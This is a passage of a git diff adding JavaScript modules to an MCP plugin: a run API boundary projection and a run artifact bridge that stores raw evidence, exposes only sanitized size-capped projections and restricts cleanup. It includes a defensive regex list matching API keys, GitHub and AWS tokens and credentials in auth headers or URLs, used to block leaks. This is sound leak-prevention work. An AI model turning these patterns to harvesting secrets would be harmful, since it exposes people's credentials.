projectAudit(audit) { + return freezeRecord( + [ + 'comparisons', 'discrepancies', 'facts', 'findings', 'observed_classes', + 'observation', 'repository_kind', 'schema', 'side_effects', 'status', + 'version', + ], + { + schema: audit.schema, + version: audit.version, + status: audit.status, + repository_kind: audit.repository_kind, + comparisons: audit.comparisons, + findings: audit.findings, + observed_classes: audit.observed_classes, + facts: audit.facts, + discrepancies: audit.discrepancies, + side_effects: audit.side_effects, + observation: audit.observation, + }, + ); +} + +function projectOrchestration(orchestration) { + if (orchestration.kind === 'denial') { + return freezeRecord(['code', 'kind', 'schema', 'version'], { + kind: 'denial', + schema: orchestration.schema, + version: orchestration.version, + code: orchestration.code, + }); + } + return freezeRecord( + ['checks', 'intent', 'kind', 'lanes', 'preflight_status', 'schema', 'side_effects', 'status', 'version'], + { + kind: 'receipt', + schema: orchestration.schema, + version: orchestration.version, + status: orchestration.status, + intent: orchestration.intent, + preflight_status: orchestration.preflight_status, + lanes: orchestration.lanes, + checks: orchestration.checks, + side_effects: orchestration.side_effects, + }, + ); +} + +function projectLifecycle(lifecycle) { + if (lifecycle == null) return null; + const values = { + status: lifecycle.status, + cleaned: lifecycle.cleaned, + unresolved: lifecycle.unresolved, + }; + if (hasOwn(lifecycle, 'missing')) values.missing = lifecycle.missing; + if (hasOwn(lifecycle, 'restarted')) values.restarted = lifecycle.restarted; + return freezeRecord(['cleaned', 'missing', 'restarted', 'status', 'unresolved'], values); +} + +function projectInvariants(lifecycle) { + return freezeRecord(RUN_API_BOUNDARY_INVARIANT_KEYS, { + read_only_audit: true, + credentials_not_projected: true, + refs_not_mutated: true, + workspace_not_created: true, + reservation_not_held: true, + provider_isolated: true, + cleanup_truthful: true, + remote_mutated: false, + public_api_exposed: false, + gate_a_claimed: false, + release_decided: false, + supervisor_cutover: false, + }); +} + +export function projectRunApiBoundaryV1(input) { + const pathLabel = 'run_api_boundary'; + if (input === undefined || input === null) deny('invalid_type', pathLabel); + assertClosedObject(input, INPUT_ALLOWED_KEYS, pathLabel); + requireKeys(input, INPUT_REQUIRED_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_API_BOUNDARY_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_API_BOUNDARY_VERSION) deny('invalid_format', pathLabel); + const identity = parseIdentity(ownDataValue(input, 'identity', pathLabel)); + const audit = parseAudit(ownDataValue(input, 'audit', pathLabel), identity); + const orchestration = parseOrchestration(ownDataValue(input, 'orchestration', pathLabel), identity); + const lifecycle = parseLifecycle(optOwn(input, 'lifecycle')); + bindLaneProvider(identity, orchestration, audit.assignment_id); + assertLifecycleSideEffectConsistency(orchestration, lifecycle); + const status = deriveStatus(audit, orchestration, lifecycle); + const resultValues = { + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + status, + run_id: identity.run_id, + base_sha: identity.base_sha, + assignment_id: hasOwn(identity, 'assignment_id') ? identity.assignment_id : audit.assignment_id, + checks: RUN_API_BOUNDARY_CHECKS, + audit: projectAudit(audit), + orchestration: projectOrchestration(orchestration), + lifecycle: projectLifecycle(lifecycle), + invariants: projectInvariants(lifecycle), + side_effects: emptySideEffects(), + }; + if (hasOwn(identity, 'provider')) resultValues.provider = identity.provider; + return freezeData(freezeRecord(RESULT_KEYS, resultValues)); +} + +export function describeRunApiBoundaryV1() { + return freezeData(capturedFreeze({ + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + rule: 'pure_projection_of_accepted_p30_p31_receipts', + api: capturedFreeze(['describeRunApiBoundaryV1', 'projectRunApiBoundaryV1']), + statuses: RUN_API_BOUNDARY_STATUSES, + checks: RUN_API_BOUNDARY_CHECKS, + error_codes: RUN_API_BOUNDARY_ERROR_CODES, + side_effect_nonclaims: RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS, + max_object_keys: MAX_API_OBJECT_KEYS, + max_key_bytes: MAX_API_KEY_BYTES, + max_string_bytes: MAX_API_STRING_BYTES, + max_collection: MAX_API_COLLECTION, + max_lanes: MAX_API_LANES, + composed_surfaces: capturedFreeze({ + protected_ref_audit: PROTECTED_REF_AUDIT_SCHEMA_ID, + run_orchestration: RUN_ORCHESTRATION_SCHEMA_ID, + run_preflight: RUN_PREFLIGHT_SCHEMA_ID, + audit_checks: PROTECTED_REF_AUDIT_CHECKS, + orchestration_checks: RUN_ORCHESTRATION_CHECKS, + audit_lifecycle: 'not invoked; receipts are consumed as values', + orchestration_lifecycle: 'not invoked; receipts are consumed as values', + git: 'not invoked', + filesystem: 'not invoked', + process: 'not invoked', + network: 'not invoked', + provider: 'not invoked', + credentials: 'not accessed', + environment: 'not accessed', + argv: 'not accessed', + handoff: 'not accessed', + workspace: 'not created', + reservation: 'not held', + supervisor_server: 'no cutover', + public_mcp: 'not exposed', + release: 'not decided', + gate_a: 'not claimed', + remote_mutation: 'denied', + }), + })); +} + +capturedFreeze(projectRunApiBoundaryV1); +capturedFreeze(describeRunApiBoundaryV1); diff --git a/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs b/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs new file mode 100644 index 0000000..258c387 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs @@ -0,0 +1,1176 @@ +// Run artifact bridge (P33; ADR 0001 identifiers `exact_identities`, +// `bounded_evidence`, `gate_a_valid_raw_and_sanitized_artifacts`, +// `gate_a_safe_per_run_cleanup`, `manual_proof_bound_cleanup`). +// +// Additive v3 facade over injected raw storage, sanitizer, evidence, and +// clock. It is the identity-and-audience authority for one run: +// - captureAssignmentArtifacts publishes owner-only raw evidence +// - projectAssignmentArtifacts returns bounded sanitized projections +// - cleanupRunArtifacts removes only proof-bound artifacts of that run +// +// Raw bytes never become model-facing. Sanitized projections are size-capped +// and credential-scanned. Projection may keep or downgrade truncation and +// completeness; it never upgrades them, and missing redaction, version, or +// completeness evidence stays unknown instead of becoming a reassuring +// default. Capture readback hashes stored bytes and fails closed on +// mismatch, substitution, a partial read, or a stale identity. Cleanup +// cannot name another run, broaden a path, or delete worktrees, branches, +// locks, candidate refs, or task receipts. Restart rereads injected raw +// storage and re-projects; it does not invent captures or claim cleanup +// that the store cannot prove. +// +// This module does not import or own the P08 store, P09 sanitizer, P13 +// evidence bundle, run runtime, scheduler, lifecycle, server, or candidate +// surfaces. Callers inject those seams. It does not claim Gate A or release. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { validateArtifactRelativePathV1 } from './artifact-path.mjs'; +import { + ARTIFACT_CLASSES, + ARTIFACT_KINDS, + ARTIFACT_REF_SCHEMA_ID, + CONTENT_ENCODINGS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MEDIA_TYPES, + MIN_ARTIFACT_BYTE_LENGTH, + compareArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + hasOwn, + optOwn, + ownDataValue, + freezeData, +} from './selection-json.mjs'; + +export const RUN_ARTIFACT_BRIDGE_SCHEMA_ID = 'codex-co-engineer.run-artifact-bridge.v1'; +export const RUN_ARTIFACT_BRIDGE_VERSION = 1; +export const RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID = + 'codex-co-engineer.run-artifact-bridge-capture.v1'; +export const RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID = + 'codex-co-engineer.run-artifact-bridge-projection.v1'; +export const RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID = + 'codex-co-engineer.run-artifact-bridge-cleanup.v1'; + +export const MAX_ASSIGNMENT_ARTIFACTS = 8; +export const MAX_RUN_ARTIFACTS = 64; +export const MAX_PROJECTION_BYTES = 8_192; +export const MAX_BRIDGE_DIAGNOSTIC_BYTES = 160; +export const MAX_EVIDENCE_KIND_BYTES = 32; + +export const RUN_ARTIFACT_BRIDGE_FACTORY_KEYS = capturedFreeze([ + 'rawStore', 'sanitizer', 'evidenceBundle', 'clock', +]); +export const RUN_ARTIFACT_BRIDGE_METHODS = capturedFreeze([ + 'captureAssignmentArtifacts', + 'projectAssignmentArtifacts', + 'cleanupRunArtifacts', +]); +export const RAW_STORE_METHODS = capturedFreeze(['publish', 'get', 'list', 'remove']); +export const SANITIZER_METHODS = capturedFreeze(['sanitize']); +export const EVIDENCE_BUNDLE_METHODS = capturedFreeze(['append', 'list']); +export const CLOCK_METHODS = capturedFreeze(['now']); + +export const CAPTURE_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', + 'artifact_kind', + 'content_encoding', + 'media_type', + 'relative_path', + 'run_id', + 'source', + 'source_truncated', +]); +export const CAPTURE_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', + 'artifact_kind', + 'media_type', + 'relative_path', + 'run_id', + 'source', +]); +export const PROJECT_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'max_bytes', 'offset', 'run_id', +]); +export const PROJECT_REQUIRED_KEYS = capturedFreeze(['assignment_id', 'run_id']); +export const CLEANUP_ALLOWED_KEYS = capturedFreeze(['proof', 'run_id']); +export const CLEANUP_REQUIRED_KEYS = capturedFreeze(['proof', 'run_id']); +export const CLEANUP_PROOF_ALLOWED_KEYS = capturedFreeze(['assignment_ids', 'run_id']); +export const CLEANUP_PROOF_REQUIRED_KEYS = capturedFreeze(['run_id']); + +export const CAPTURE_RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', + 'captured_at', + 'complete', + 'created', + 'raw_ref', + 'redaction_count', + 'relative_path', + 'run_id', + 'sanitized_ref', + 'sanitizer_version', + 'schema', + 'source_truncated', + 'version', +]); +export const PROJECTION_RECEIPT_KEYS = capturedFreeze([ + 'artifacts', + 'assignment_id', + 'projected_at', + 'run_id', + 'schema', + 'version', +]); +export const PROJECTION_ARTIFACT_KEYS = capturedFreeze([ + 'artifact_kind', + 'complete', + 'more', + 'next_offset', + 'offset', + 'reader_clipped', + 'redaction_count', + 'relative_path', + 'sanitized_byte_length', + 'sanitized_ref', + 'sanitizer_version', + 'selected', + 'selected_byte_length', + 'selected_encoding', + 'source_truncated', +]); +export const CLEANUP_RECEIPT_KEYS = capturedFreeze([ + 'cleaned', + 'cleaned_at', + 'remaining', + 'removed', + 'run_id', + 'schema', + 'unresolved', + 'version', +]); +export const EVIDENCE_EVENT_KEYS = capturedFreeze([ + 'artifact_digest', + 'assignment_id', + 'code', + 'kind', + 'recorded_at', + 'relative_path', + 'run_id', +]); +export const EVIDENCE_KINDS = capturedFreeze(['capture', 'cleanup', 'projection']); +export const EVIDENCE_CODES = capturedFreeze([ + 'already_cleaned', + 'captured', + 'cleaned', + 'projected', + 'replayed', +]); + +export const RUN_ARTIFACT_BRIDGE_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'artifact_bridge_cleanup_unproven', + 'artifact_bridge_identity_mismatch', + 'artifact_bridge_not_found', + 'artifact_bridge_path_authority_denied', + 'artifact_bridge_projection_denied', + 'artifact_bridge_raw_denied', + 'artifact_bridge_restart_conflict', + 'artifact_bridge_run_escape_denied', + 'artifact_bridge_sanitizer_failed', + 'artifact_bridge_store_failed', + 'credential_leak_denied', + 'exotic_prototype_denied', + 'invalid_array', + 'invalid_format', + 'invalid_object', + 'invalid_type', + 'missing_key', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'symbol_key_denied', + 'unknown_artifact_kind', + 'unknown_content_encoding', + 'unknown_key', + 'unknown_media_type', +]); + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'The request used an accessor property; getters are never invoked.', + aliased_reference_denied: 'The request aliased a value the bridge does not accept.', + artifact_bridge_cleanup_unproven: 'Cleanup requires an exact identity-bound proof for this run.', + artifact_bridge_identity_mismatch: 'The supplied identity does not bind this run and assignment.', + artifact_bridge_not_found: 'No captured artifact exists for the exact identity.', + artifact_bridge_path_authority_denied: + 'Artifact paths must stay under the exact run and assignment prefix.', + artifact_bridge_projection_denied: + 'Model-facing projection accepts only bounded sanitized artifacts.', + artifact_bridge_raw_denied: 'Raw evidence is owner-only and is not a model-facing projection.', + artifact_bridge_restart_conflict: + 'A different artifact is already captured at this exact identity.', + artifact_bridge_run_escape_denied: + 'Cleanup cannot name, list, or remove artifacts outside the proven run.', + artifact_bridge_sanitizer_failed: + 'The sanitizer did not return a bound sanitized projection; nothing is exposed.', + artifact_bridge_store_failed: 'The injected store failed closed; nothing was mutated.', + credential_leak_denied: + 'A model-facing projection contained a credential pattern; nothing is exposed.', + exotic_prototype_denied: 'The request used an exotic prototype; direct JSON is required.', + invalid_array: 'The request used an array the closed vocabulary does not accept.', + invalid_format: 'The request used a value outside the closed format vocabulary.', + invalid_object: 'The request was not a plain data object.', + invalid_type: 'The request used a type the closed vocabulary does not accept.', + missing_key: 'The request omitted a required closed key.', + own_undefined_denied: 'The request wrote undefined; omit the field instead.', + out_of_range: 'The request exceeded a closed bound.', + proxy_denied: 'The request was a Proxy; the bridge accepts direct data only.', + symbol_key_denied: 'The request carried a symbol key; direct JSON is required.', + unknown_artifact_kind: 'The artifact kind is outside the closed vocabulary.', + unknown_content_encoding: 'The content encoding is outside the closed vocabulary.', + unknown_key: 'The request carried a key outside the closed vocabulary.', + unknown_media_type: 'The media type is outside the closed vocabulary.', +}); + +const TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; +const SAFE_KEY_PATTERN = /^[a-z][a-z0-9_]*$/u; +const RUN_PATH_PREFIX = 'runs/'; +const HASH_ALGORITHM = 'sha256'; +const SELECTED_ENCODING = 'base64'; +const DEFAULT_CONTENT_ENCODING = 'identity'; +const BINARY_CAPTURE_KEYS = capturedFreeze(['source']); + +const CREDENTIAL_PATTERNS = capturedFreeze([ + /\b(?:sk|xai)-[A-Za-z0-9_-]{8,256}\b/u, + /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,256}\b/u, + /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/u, + /\bcrsr_[A-Za-z0-9_-]{12,256}\b/u, + /\b(?:Bearer|Basic)[ \t]+[A-Za-z0-9._~+/=-]{8,512}/iu, + /(?:[a-z][a-z0-9+.-]{0,32}:\/\/)[^\s/@:]{1,256}:[^\s/@]{1,256}@/iu, +]); + +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const IS_PROXY = utilTypes.isProxy; +const IS_UINT8_ARRAY = utilTypes.isUint8Array; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; +const OWN_ERRORS = new WeakSet(); +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= MAX_BRIDGE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_BRIDGE_DIAGNOSTIC_BYTES); +} + +function failBridge(code, field, message) { + const text = CONTENT_FREE[code] ?? diagnostic(message); + const error = new RunContractV1Error(code, field, text); + OWN_ERRORS.add(error); + throw error; +} + +function rethrowOwn(error) { + if (error instanceof RunContractV1Error && OWN_ERRORS.has(error)) throw error; + if (error instanceof RunContractV1Error) { + const code = capturedIncludes(RUN_ARTIFACT_BRIDGE_ERROR_CODES, error.code) + ? error.code + : 'invalid_type'; + failBridge(code, typeof error.path === 'string' ? error.path : 'options', + CONTENT_FREE[code]); + } +} + +function fieldKeyLabel(path, key) { + if (typeof key === 'symbol') return path; + if (typeof key === 'string' && capturedTest(SAFE_KEY_PATTERN, key) + && capturedUtf8ByteLength(key) <= 64) { + return `${path}.${key}`; + } + return path; +} + +function assertClosedKeySet(value, allowed, path) { + assertPlainObject(value, 'invalid_type', path, path); + let keys; + try { + keys = capturedOwnKeys(value); + } catch { + failBridge('invalid_object', path, CONTENT_FREE.invalid_object); + } + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') { + failBridge('symbol_key_denied', path, CONTENT_FREE.symbol_key_denied); + } + if (!capturedIncludes(allowed, key)) { + failBridge('unknown_key', fieldKeyLabel(path, key), CONTENT_FREE.unknown_key); + } + } +} + +function assertRequiredKeys(value, required, path) { + for (let index = 0; index < required.length; index += 1) { + const key = required[index]; + if (!hasOwn(value, key)) { + failBridge('missing_key', `${path}.${key}`, CONTENT_FREE.missing_key); + } + } +} + +function dataViewWithout(value, excluded, path) { + const view = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (capturedIncludes(excluded, key)) continue; + view[key] = ownDataValue(value, key, `${path}.${key}`); + } + assertDirectJsonClosure(view, path); + return view; +} + +function requireFunctionMap(value, field, methods) { + assertNotProxy(value, field); + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + failBridge('invalid_type', field, CONTENT_FREE.invalid_type); + } + const bound = {}; + for (let index = 0; index < methods.length; index += 1) { + const name = methods[index]; + if (!capturedHasOwn(value, name)) { + failBridge('missing_key', `${field}.${name}`, CONTENT_FREE.missing_key); + } + const method = optOwn(value, name); + if (typeof method !== 'function') { + failBridge('invalid_type', `${field}.${name}`, CONTENT_FREE.invalid_type); + } + if (IS_PROXY(method)) { + failBridge('proxy_denied', `${field}.${name}`, CONTENT_FREE.proxy_denied); + } + bound[name] = method.bind(value); + } + return capturedFreeze(bound); +} + +function readClock(clock) { + let stamped; + try { + stamped = clock.now(); + } catch (error) { + rethrowOwn(error); + failBridge('invalid_format', 'clock', CONTENT_FREE.invalid_format); + } + if (typeof stamped !== 'string' || !capturedTest(TIMESTAMP_PATTERN, stamped)) { + failBridge('invalid_format', 'clock', CONTENT_FREE.invalid_format); + } + return stamped; +} + +function snapshotSource(source, field) { + assertNotProxy(source, field); + if (typeof source === 'string') { + return BUFFER_FROM(source, 'utf8'); + } + if (BUFFER_IS_BUFFER(source) || IS_UINT8_ARRAY(source)) { + return BUFFER_FROM(source); + } + failBridge('invalid_type', field, CONTENT_FREE.invalid_type); +} + +function digestOf(bytes) { + return CREATE_HASH(HASH_ALGORITHM).update(bytes).digest('hex'); +} + +function hashesEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || left.length !== right.length) { + return false; + } + const leftBytes = BUFFER_FROM(left, 'utf8'); + const rightBytes = BUFFER_FROM(right, 'utf8'); + if (leftBytes.byteLength !== rightBytes.byteLength) return false; + return TIMING_SAFE_EQUAL(leftBytes, rightBytes); +} + +function optionalBoolean(container, key, field, code) { + if (!hasOwn(container, key)) return null; + const flag = optOwn(container, key); + if (flag !== true && flag !== false) { + failBridge(code, field, CONTENT_FREE[code]); + } + return flag === true; +} + +function latchTruncation(authoritative, incoming) { + if (authoritative === true || incoming === true) return true; + if (authoritative === false) return false; + if (incoming === false) return false; + return null; +} + +function latchComplete(truncated, incoming) { + if (truncated === true) return false; + if (incoming === true || incoming === false) return incoming; + return null; +} + +function copyBytes(bytes, field) { + assertNotProxy(bytes, field); + if (BUFFER_IS_BUFFER(bytes) || IS_UINT8_ARRAY(bytes)) { + return BUFFER_FROM(bytes); + } + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); +} + +function pathPrefix(runId, assignmentId) { + return `${RUN_PATH_PREFIX}${runId}/${assignmentId}/`; +} + +function assertRunAssignmentPath(relativePath, runId, assignmentId, field) { + validateArtifactRelativePathV1(relativePath, field); + const prefix = pathPrefix(runId, assignmentId); + if (relativePath.length <= prefix.length || relativePath.slice(0, prefix.length) !== prefix) { + failBridge('artifact_bridge_path_authority_denied', field, + CONTENT_FREE.artifact_bridge_path_authority_denied); + } +} + +function assertAssignmentId(value, field) { + if (!isAssignmentId(value) || !capturedTest(ASSIGNMENT_ID_PATTERN, value)) { + failBridge('invalid_format', field, CONTENT_FREE.invalid_format); + } + return value; +} + +function parseCaptureInput(input) { + assertClosedKeySet(input, CAPTURE_ALLOWED_KEYS, 'options'); + assertRequiredKeys(input, CAPTURE_REQUIRED_KEYS, 'options'); + const data = dataViewWithout(input, BINARY_CAPTURE_KEYS, 'options'); + const runId = data.run_id; + assertRunId(runId, 'options.run_id'); + const assignmentId = assertAssignmentId(data.assignment_id, 'options.assignment_id'); + const artifactKind = data.artifact_kind; + if (!capturedIncludes(ARTIFACT_KINDS, artifactKind)) { + failBridge('unknown_artifact_kind', 'options.artifact_kind', + CONTENT_FREE.unknown_artifact_kind); + } + const relativePath = data.relative_path; + assertRunAssignmentPath(relativePath, runId, assignmentId, 'options.relative_path'); + const mediaType = data.media_type; + if (!capturedIncludes(MEDIA_TYPES, mediaType)) { + failBridge('unknown_media_type', 'options.media_type', CONTENT_FREE.unknown_media_type); + } + let contentEncoding = DEFAULT_CONTENT_ENCODING; + if (hasOwn(data, 'content_encoding')) { + contentEncoding = data.content_encoding; + if (!capturedIncludes(CONTENT_ENCODINGS, contentEncoding) + || contentEncoding !== DEFAULT_CONTENT_ENCODING) { + failBridge('unknown_content_encoding', 'options.content_encoding', + CONTENT_FREE.unknown_content_encoding); + } + } + let sourceTruncated = false; + if (hasOwn(data, 'source_truncated')) { + const flag = data.source_truncated; + if (flag !== true && flag !== false) { + failBridge('invalid_type', 'options.source_truncated', CONTENT_FREE.invalid_type); + } + sourceTruncated = flag === true; + } + const sourceDescriptor = capturedDescriptor(input, 'source'); + if (!sourceDescriptor || sourceDescriptor.get !== undefined + || sourceDescriptor.set !== undefined) { + failBridge('accessor_property_denied', 'options.source', CONTENT_FREE.accessor_property_denied); + } + const bytes = snapshotSource(sourceDescriptor.value, 'options.source'); + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH + || bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failBridge('out_of_range', 'options.source', CONTENT_FREE.out_of_range); + } + return { + runId, + assignmentId, + artifactKind, + relativePath, + mediaType, + contentEncoding, + sourceTruncated, + bytes, + }; +} + +function parseProjectInput(input) { + assertClosedKeySet(input, PROJECT_ALLOWED_KEYS, 'options'); + assertRequiredKeys(input, PROJECT_REQUIRED_KEYS, 'options'); + assertDirectJsonClosure(input, 'options'); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = assertAssignmentId(optOwn(input, 'assignment_id'), 'options.assignment_id'); + let offset = 0; + if (hasOwn(input, 'offset')) { + offset = optOwn(input, 'offset'); + if (typeof offset !== 'number' || !NUMBER_IS_SAFE_INTEGER(offset) + || offset < 0 || offset > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failBridge('out_of_range', 'options.offset', CONTENT_FREE.out_of_range); + } + } + let maxBytes = MAX_PROJECTION_BYTES; + if (hasOwn(input, 'max_bytes')) { + maxBytes = optOwn(input, 'max_bytes'); + if (typeof maxBytes !== 'number' || !NUMBER_IS_SAFE_INTEGER(maxBytes) + || maxBytes < 0 || maxBytes > MAX_PROJECTION_BYTES) { + failBridge('out_of_range', 'options.max_bytes', CONTENT_FREE.out_of_range); + } + } + return { runId, assignmentId, offset, maxBytes }; +} + +function parseAssignmentIds(value, field) { + if (!capturedIsArray(value)) { + failBridge('invalid_array', field, CONTENT_FREE.invalid_array); + } + if (value.length < 1 || value.length > MAX_ASSIGNMENT_ARTIFACTS) { + failBridge('out_of_range', field, CONTENT_FREE.out_of_range); + } + const seen = new Set(); + const ids = []; + for (let index = 0; index < value.length; index += 1) { + const id = value[index]; + assertAssignmentId(id, `${field}[${index}]`); + if (seen.has(id)) { + failBridge('invalid_format', `${field}[${index}]`, CONTENT_FREE.invalid_format); + } + seen.add(id); + ids.push(id); + } + ids.sort(); + return capturedFreeze(ids); +} + +function parseCleanupInput(input) { + assertClosedKeySet(input, CLEANUP_ALLOWED_KEYS, 'options'); + assertRequiredKeys(input, CLEANUP_REQUIRED_KEYS, 'options'); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, 'options.run_id'); + const proof = optOwn(input, 'proof'); + assertClosedKeySet(proof, CLEANUP_PROOF_ALLOWED_KEYS, 'options.proof'); + assertRequiredKeys(proof, CLEANUP_PROOF_REQUIRED_KEYS, 'options.proof'); + assertDirectJsonClosure(proof, 'options.proof'); + const proofRunId = optOwn(proof, 'run_id'); + assertRunId(proofRunId, 'options.proof.run_id'); + if (proofRunId !== runId) { + failBridge('artifact_bridge_cleanup_unproven', 'options.proof.run_id', + CONTENT_FREE.artifact_bridge_cleanup_unproven); + } + let assignmentIds = null; + if (hasOwn(proof, 'assignment_ids')) { + assignmentIds = parseAssignmentIds(optOwn(proof, 'assignment_ids'), + 'options.proof.assignment_ids'); + } + return { runId, assignmentIds }; +} + +function rawRefFrom(fields, bytes) { + return parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: fields.runId, + assignment_id: fields.assignmentId, + artifact_kind: fields.artifactKind, + artifact_class: 'raw', + relative_path: fields.relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: fields.mediaType, + content_encoding: fields.contentEncoding, + }, 'artifact_ref'); +} + +function unwrapStoreRecord(record, field) { + if (record === null || record === undefined) return null; + assertNotProxy(record, field); + if (typeof record !== 'object' || capturedIsArray(record)) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const refInput = hasOwn(record, 'artifact_ref') ? optOwn(record, 'artifact_ref') : record; + let artifactRef; + try { + artifactRef = parseArtifactRefV1(refInput, `${field}.artifact_ref`); + } catch (error) { + rethrowOwn(error); + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + let bytes = null; + if (hasOwn(record, 'bytes')) { + bytes = copyBytes(optOwn(record, 'bytes'), `${field}.bytes`); + } + const sourceTruncated = optionalBoolean(record, 'source_truncated', + `${field}.source_truncated`, 'artifact_bridge_store_failed'); + return { artifact_ref: artifactRef, bytes, source_truncated: sourceTruncated }; +} + +async function callInjected(method, args, code, field) { + try { + return await method(args); + } catch (error) { + rethrowOwn(error); + failBridge(code, field, CONTENT_FREE[code]); + } +} + +function assertSameIdentity(ref, runId, assignmentId, field) { + if (ref.run_id !== runId || ref.assignment_id !== assignmentId) { + failBridge('artifact_bridge_identity_mismatch', field, + CONTENT_FREE.artifact_bridge_identity_mismatch); + } +} + +function assertRawClass(ref, field) { + if (ref.artifact_class !== 'raw') { + failBridge('artifact_bridge_raw_denied', field, CONTENT_FREE.artifact_bridge_raw_denied); + } +} + +function assertSanitizedClass(ref, field) { + if (ref.artifact_class !== 'sanitized') { + failBridge('artifact_bridge_projection_denied', field, + CONTENT_FREE.artifact_bridge_projection_denied); + } +} + +function assertNoCredentialLeak(bytes, field) { + let text; + try { + text = BUFFER_FROM(bytes).toString('utf8'); + } catch { + return; + } + for (let index = 0; index < CREDENTIAL_PATTERNS.length; index += 1) { + CREDENTIAL_PATTERNS[index].lastIndex = 0; + if (CREDENTIAL_PATTERNS[index].test(text)) { + failBridge('credential_leak_denied', field, CONTENT_FREE.credential_leak_denied); + } + } +} + +function parseSanitizedProjection(rawRef, sanitized, field) { + if (sanitized === null || typeof sanitized !== 'object' || capturedIsArray(sanitized)) { + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + assertNotProxy(sanitized, field); + if (!hasOwn(sanitized, 'sanitized_ref') || !hasOwn(sanitized, 'bytes')) { + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + let sanitizedRef; + try { + sanitizedRef = parseArtifactRefV1(optOwn(sanitized, 'sanitized_ref'), `${field}.sanitized_ref`); + } catch (error) { + rethrowOwn(error); + failBridge('artifact_bridge_sanitizer_failed', field, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + assertSanitizedClass(sanitizedRef, `${field}.sanitized_ref.artifact_class`); + if (sanitizedRef.run_id !== rawRef.run_id + || sanitizedRef.assignment_id !== rawRef.assignment_id + || sanitizedRef.artifact_kind !== rawRef.artifact_kind + || sanitizedRef.relative_path !== rawRef.relative_path + || sanitizedRef.media_type !== rawRef.media_type) { + failBridge('artifact_bridge_identity_mismatch', `${field}.sanitized_ref`, + CONTENT_FREE.artifact_bridge_identity_mismatch); + } + const bytes = copyBytes(optOwn(sanitized, 'bytes'), `${field}.bytes`); + if (bytes.byteLength !== sanitizedRef.byte_length || digestOf(bytes) !== sanitizedRef.sha256) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.bytes`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + assertNoCredentialLeak(bytes, `${field}.bytes`); + let redactionCount = null; + if (hasOwn(sanitized, 'redaction_count')) { + redactionCount = optOwn(sanitized, 'redaction_count'); + if (typeof redactionCount !== 'number' || !NUMBER_IS_SAFE_INTEGER(redactionCount) + || redactionCount < 0 || redactionCount > 1_000_000) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.redaction_count`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + } + let sanitizerVersion = null; + if 